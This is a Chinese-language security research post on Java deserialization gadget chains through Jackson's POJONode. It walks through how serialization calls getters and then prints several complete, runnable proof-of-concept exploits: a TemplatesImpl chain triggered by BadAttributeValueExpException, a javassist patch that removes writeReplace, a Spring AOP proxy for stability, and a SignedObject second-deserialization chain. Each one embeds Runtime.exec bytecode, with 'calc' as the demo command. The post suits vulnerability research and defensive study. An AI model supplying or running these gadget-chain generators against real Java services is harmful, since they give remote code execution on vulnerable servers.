前面说到了在fastjson中的原生的一个反序列化调用任意类的getter
方法的原理与细节,既然在fastjson中存在有这样的原生反序列化,在另一个和他功能类似的开源库jackson也有着类似的原生反序列化触发getter方法。
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>
|
jackson的基本用法
我们还是先写一个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class User { private String username; private String password; public User() { System.out.println("调用了无参方法"); }
public User(String username, String password) { System.out.println("调用了有参方法"); this.username = username; this.password = password; }
public String getUsername() { System.out.println("调用了getUsername方法"); return username; }
public String getPassword() { System.out.println("调用了getPassword方法"); return password; }
public void setUsername(String username) { System.out.println("调用了setUsername方法"); this.username = username; }
public void setPassword(String password) { System.out.println("调用了setPassword方法"); this.password = password; } }
|
然后test类:
1 2 3 4 5 6 7 8 9 10 11
| import com.fasterxml.jackson.databind.ObjectMapper;
public class test { public static void main(String[] args) throws Exception { User user = new User("Infernity", "123456"); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); System.out.println(json); User other = mapper.readValue(json, User.class); } }
|

可以看到,在序列化的时候调用了getter
方法,在反序列化的时候调用了无参构造方法和setter
方法。
简单的认识一下Jackson的序列化触发getter的流程
在序列化的地方下个断点。也就是writeValueAsString
方法,记住这个方法。


中间部分就跳过了,大致的调用栈是这样的:
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
说一下最后的几个函数
BeanSerializer#serialize:

首先是调用writeStartObject方法写入{
字符,之后中间是对Bean对象的属性值的一些构造,最后是调用writeEndObject方法写入}
字符,而在BeanSerializerBase#serializeFields方法中

跟进serializeAsField
方法。

这里就是是对Bean类中的所有属性值的写入了。也就是在这里调用了getter
方法。这里再次步进就会到User的getUsername
方法了。
TemplatesImpl链
所以只要进入writeValueAsString
方法,就可以调用任意getter
方法了,最经典的getter就是TemplatesImpl.getOutputProperties
方法。
看到BaseJsonNode类的toString
方法,

跟进InternalNodeMapper类的nodeToString
方法,

这不就是writeValueAsString
方法吗?
由于BaseJsonNode是抽象类,我们找他的子类,而且没有重写toString方法的子类就可以了。
找到了POJONode类,这里的继承关系是:
POJONode->ValueNode->BaseJsonNode
现在我们只需要触发toString就可以了,很容易想到BadAttributeValueExpException这条链。
那么poc就构造好了。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64;
public class Main { public static void main(String[] args) throws Exception { byte[] bytes = getshortclass("calc"); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setValue(badAttributeValueExpException, "val", pojoNode);
String a = serialize(badAttributeValueExpException); unserialize(a); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; } }
|

问题
别高兴太早,我发现这里计算器不是unserialize函数造成的,而是在序列化的时候就弹了。
同时伴随着这样的报错:
Failed to JDK serialize POJONode value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl[“outputProperties”])
看到报错StackTrace


invokeWriteReplace判断writeReplaceMethod是否存在,存在则调用

进入这个方法之后就会报错了。那我们直接把这个方法删了。
1 2 3 4 5 6
| public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); }
|
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64;
public class Main { public static void main(String[] args) throws Exception { overrideJackson(); byte[] bytes = getshortclass("calc"); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setValue(badAttributeValueExpException, "val", pojoNode);
String a = serialize(badAttributeValueExpException); unserialize(a); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; } }
|

现在没有反序列化的时候没有报错也没有弹计算器了。

JACKSON 链的不稳定性
当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。
我们的目的应该是让代理类仅仅包含我们需要的方法 getOutputProperties。
查看 TemplatesImpl 实现的 javax.xml.transform.Templates 这个接口。可以看到它只有一个 getter 方法,就是我们需要的 getOutputProperties 方法。
- 构造一个
JdkDynamicAopProxy
类型的对象,将 TemplatesImpl
类型的对象设置为 targetSource
- 使用这个
JdkDynamicAopProxy
类型的对象构造一个代理类,代理 javax.xml.transform.Templates
接口
- JSON 序列化库只能从这个
JdkDynamicAopProxy
类型的对象上找到 getOutputProperties
方法
- 通过代理类的
invoke
机制,触发 TemplatesImpl#getOutputProperties
方法,实现恶意类加载
详见https://xz.aliyun.com/news/12292
1 2 3 4 5 6 7 8 9 10 11
| public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); return proxyObj; }
|
SignedObject链
之前讲Hessian2+SignedObject二次反序列化的时候说过:

既然是getter
方法,那么也可以被jackson链调用。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.security.*; import java.util.Base64;
public class Main { public static void main(String[] args) throws Exception { overrideJackson(); byte[] bytes = getshortclass("calc"); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); Object obj = getPOJONodeStableProxy(templates);
POJONode pojoNode = new POJONode(obj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setValue(badAttributeValueExpException, "val", pojoNode);
SignedObject signedObject = second_serialize(badAttributeValueExpException);
POJONode pojoNode2 = new POJONode(signedObject); BadAttributeValueExpException badAttributeValueExpException2 = new BadAttributeValueExpException(null); setValue(badAttributeValueExpException2, "val", pojoNode2);
String a = serialize(badAttributeValueExpException2); System.out.println(a); unserialize(a); }
public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA")); return signedObject; }
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); return proxyObj; }
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; } }
|
参考文章
https://xz.aliyun.com/news/11955?time__1311=eqUxuQDti%3DoDqGKitD%2FCn4CQFDOQ1qD9GGoD&u_atoken=d307b6dcbc7dbb442ad22ba39f1f261e&u_asig=1a0c399f17411523219362408e0043
https://github.com/p4d0rn/Java_Zoo/blob/main/Deserial/jackson.md